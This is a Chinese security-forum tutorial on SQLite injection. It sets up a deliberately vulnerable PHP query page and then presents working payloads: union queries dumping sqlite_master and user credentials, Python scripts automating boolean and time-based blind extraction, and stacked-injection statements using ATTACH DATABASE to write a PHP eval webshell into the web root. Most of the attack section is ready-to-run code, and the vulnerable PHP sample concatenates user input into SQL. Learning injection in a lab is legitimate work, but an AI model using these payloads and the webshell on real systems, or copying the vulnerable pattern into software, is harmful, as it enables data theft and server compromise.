安全矩阵

 找回密码
 立即注册
搜索
查看: 2718|回复: 0

SQLite注入

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-3-16 23:10:40 | 显示全部楼层 |阅读模式
原文链接:SQLite注入 (qq.com)

   SQLite 是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,你不需要在系统中配置。

    SQLite数据库的特点是它每一个数据库都是一个文件,当你查询表的完整信息时会得到创建表的语句,基本和mysql差不多。


SQLite 语法

1.

这里对SQLite语法进行简单介绍,详情可看Sqlite语法教程:https://www.runoob.com/sqlite/sqlite-tutorial.html  
相关命令
.help   获取可用的点命令的清单

.show   显示各种设置的当前值

.quite 退出SQLite 提示符

.databases 列出数据库的名称及其所依附的文件

.schema ?TABLE? 显示 CREATE 语句,例如.schema sqlite_master

数据库操作
SQLite 的 sqlite3 命令被用来创建新的 SQLite 数据库。您不需要任何特殊的权限即可创建一个数据。另外我们也可以使用 .open 来建立新的数据库文件:
  1. ➜ sqlite3 dbname.db

  2. SQLite version 3.32.3 2020-06-18 14:16:19

  3. Enter ".help" for usage hints.

  4. sqlite> .databases

  5. main: /Users/ye1s/Desktop/work/dbname.db

  6. sqlite> .open test.db
复制代码

SQLite可以附加数据库,假设这样一种情况,当在同一时间有多个数据库可用,您想使用其中的任何一个。SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库。
例如想附加一个数据库 testDB.db。
  1. sqlite> ATTACH DATABASE 'testDB.db' as 'TEST';

  2. sqlite> .databases

  3. main: /Users/ye1s/Desktop/work/dbname.db

  4. TEST: /Users/ye1s/Desktop/work/testDB.db
复制代码

表操作
CREATE TABLE 语句用来创建一个新表,.tables查看创建的表, .schema 可查看表的完整信息,INSERT INTO 向表中添加信息,drop table 删除表。
  1. sqlite> CREATE TABLE USERS(

  2.   ...>   ID INT PRIMARY KEY     NOT NULL,

  3.   ...>   USERNAME           TEXT    NOT NULL,

  4.   ...>    PASSWORD           TEXT     NOT NULL

  5.   ...> );

  6. sqlite> .tables

  7. USERS

  8. sqlite> .schema users

  9. CREATE TABLE USERS(

  10.   ID INT PRIMARY KEY     NOT NULL,

  11.   USERNAME           TEXT    NOT NULL,

  12.   PASSWORD           TEXT    NOT NULL

  13. );



  14. sqlite> INSERT INTO users (id,username,password) VALUES (1, 'admin', 'password');



  15. sqlite> select * from users;

  16. 1|admin|password



  17. sqlite> .header on

  18. sqlite> .mode column

  19. sqlite> select * from users;

  20. ID         USERNAME    PASSWORD  

  21. ----------  ----------  ----------

  22. 1           admin       password  



  23. sqlite> drop table users;

  24. sqlite> .tables
复制代码



SQLite 注入

2.

以如下代码为例,进行介绍
  1. <p><html>

  2. <body>

  3. <form action="" method="POST">

  4.    <input type="text" name="id" size="80">

  5.    <input type="submit">

  6. </form>

  7. </body>

  8. </html>



  9. <?php

  10. class MyDB extends SQLite3

  11. {

  12.    function __construct()

  13.   {

  14.        $this->open('dbname.db');

  15.   }

  16. }

  17. $db = new MyDB();

  18. if(!$db){

  19.    echo $db->lastErrorMsg();

  20. } else {

  21.    echo "You can query users by ID.\n</br>";

  22. }



  23. $id = $_POST['id'];

  24. $sql =<<<EOF

  25.      SELECT * from users where id='$id';

  26. EOF;

  27. $ret = $db->query($sql);

  28. if($ret==false){

  29.    echo "Error in fetch ".$db->lastErrorMsg();

  30. }

  31. else{

  32.    while($row = $ret->fetchArray(SQLITE3_ASSOC) ){

  33.        echo "ID = ". $row['ID'] . "</br>";

  34.        echo "Username = ". $row['USERNAME'] ."</br>";

  35.        echo "Password = ". $row['PASSWORD'] ."</br>";

  36.   }

  37.    var_dump($ret->fetchArray(SQLITE3_ASSOC));

  38. }



  39. $db->close();

  40. ?></p>

  41. <p>SQLite语句</p>

  42. <pre>
  43. <p>sqlite3 dbname.db

  44. CREATE TABLE USERS(

  45.   ID INT PRIMARY KEY     NOT NULL,

  46.   USERNAME           TEXT    NOT NULL,

  47.   PASSWORD           TEXT    NOT NULL

  48. );



  49. INSERT INTO users (id,username,password) VALUES (1, 'admin', 'password');

  50. INSERT INTO users (id,username,password) VALUES (2, 'test', 'test');</p>

  51. <p>
  52. </p></pre>
复制代码

SQLite相关注意点:


1.SQLite_master:这个是内置系统表、相当于mysql的information_schema,但是这里只存有表的信息,里面有个sql字段,有各个表的结构,有表名,字段名和类型。
2.SQLite并不支持像mysql那样的注释,但是可以通过 - 方式增加DDL注释(写shell会用到)SQL,并扩展至下一个换行符(ASCII 0x0a)或直到输入结束,以先到者为准。您也可以使用 C 风格的注释,以 /* 开始,并扩展至下一个 */ 字符对或直到输入结束,以先到者为准。SQLite的注释可以跨越多行。

联合查询

输入1' ,发现报错,说明当前闭合方式为单引号。
闭合SQL语句
  1. 1';

  2. 1' --

  3. 1' /*
复制代码



order by确定字段数
  1. <p>1' order by 5 --</p>

  2. <div aria-label=" 图像 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_image cke_image_nocaption cke_widget_selected" contenteditable="false" data-cke-display-name="图像" data-cke-filter="off" data-cke-widget-id="405" data-cke-widget-wrapper="1" role="region" tabindex="-1"></div>
复制代码




判断回显位
  1. <p>-1' union select 1,2,3 --</p>

  2. <div aria-label=" 图像 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_image cke_image_nocaption cke_widget_selected" contenteditable="false" data-cke-display-name="图像" data-cke-filter="off" data-cke-widget-id="407" data-cke-widget-wrapper="1" role="region" tabindex="-1"></div>
复制代码



查看版本
  1. <p>-1' union select 1,2,sqlite_version() --</p>

  2. <p></p>
复制代码

查询表名和列名,这里直接通过查询 sqlite_master 表。
  1. <p>-1' union select 1, (select sql from sqlite_master) ,3--</p>

  2. <div aria-label=" 图像 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_image cke_image_nocaption cke_widget_selected" contenteditable="false" data-cke-display-name="图像" data-cke-filter="off" data-cke-widget-id="408" data-cke-widget-wrapper="1" role="region" tabindex="-1"></div>
复制代码



查询数据
  1. <p>-1' union select 1, (select group_concat(USERNAME,PASSWORD) from users) ,3--</p>

  2. <p>

  3. </p><p>

  4. </p><p></p>
复制代码

布尔盲注
布尔盲注通过查询正确和错误返回的页面不同来判断数据内容。  SQLite不支持ascii,所以直接通过字符去查询,这里和mysql不同,这个区分大小写。也没有mid,left等函数。
语句执行正确时,页面返回的信息
-1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/*

语句执行错误时,页面返回的信息
-1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'/*

注入脚本
  1. <p></p>

  2. <pre><p>import requests

  3. url = 'http://localhost:9000/index.php'

  4. flag = ''

  5. for i in range(1,500):

  6.   low = 32

  7.   high = 128

  8.   mid = (low+high)//2

  9.   while(low<high):

  10.       payload = "-1' or substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}'/*".format(i,chr(mid))

  11.       datas = {

  12.           "id": payload

  13.       }

  14.       res = requests.post(url=url,data=datas)



  15.       if 'Username' in res.text:

  16.           low = mid+1

  17.       else:

  18.           high = mid

  19.       mid = (low+high)//2

  20.   if(mid ==32 or mid ==127):

  21.       break

  22.   flag = flag+chr(mid)

  23.   print(flag)



  24. print('\n'+bytes.fromhex(flag).decode('utf-8'))</p></pre>
复制代码


时间盲注
SQLite没有sleep()函数,但可以用randomblob(N)函数,randomblob(N) 函数,其作用是返回一个 N 字节长的包含伪随机字节的 BLOG。N 是正整数。可以用它来制造延时。SQLite没有if,所以需要使用case……when来代替。
  1. <p>-1' or (case when(substr(sqlite_version(),1,1)>'3') then randomblob(300000000) else 0 end)/*</p>

  2. <p></p>
复制代码

注入脚本
  1. <p></p>

  2. <pre><p>import requests

  3. import time

  4. url = 'http://localhost:9000/index.php'

  5. flag = ''

  6. for i in range(1,500):

  7.   low = 32

  8.   high = 128

  9.   mid = (low+high)//2

  10.   while(low<high):

  11.       payload = "-1' or (case when(substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}') then randomblob(300000000) else 0 end)/*".format(i,chr(mid))

  12.       datas = {

  13.           "id": payload

  14.       }

  15.       start_time=time.time()

  16.       res = requests.post(url=url,data=datas)

  17.       end_time=time.time()

  18.       spend_time=end_time-start_time

  19.       if spend_time>=2:

  20.           low = mid+1

  21.       else:

  22.           high = mid

  23.       mid = (low+high)//2

  24.   if(mid ==32 or mid ==127):

  25.       break

  26.   flag = flag+chr(mid)

  27.   print(flag)



  28. print('\n'+bytes.fromhex(flag).decode('utf-8'))</p></pre>
复制代码


写 webshell

SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。
ATTACH DATABASE file_name AS database_name;
如果附加数据库不存在,就会创建该数据库,如果数据库文件设置在web目录下,就可以写入webshell。
ATTACH DATABASE '/var/www/html/shell.php' AS shell;
create TABLE shell.exp (webshell text);
insert INTO shell.exp (webshell) VALUES ('<?php eval($_POST[a]);?>');


示例代码使用的是 query() 函数来执行 SQL 语句,此时无法执行分号隔离的多条语句。可以将 query() 换成 exec(),可造成堆叠注入,就可以写 Webshell 了,exec()函数执行后没有回显。执行如下语句:
  1. <p></p>

  2. <pre><p>1';ATTACH DATABASE '/var/www/html/shell.php' AS shell;

  3. create TABLE shell.exp (webshell text);

  4. insert INTO shell.exp (webshell) VALUES ('<?php eval($_POST[a]);?>'); /*</p>
  5. <span data-cke-copybin-end="1">​</span></pre>
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 08:28 , Processed in 0.013574 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表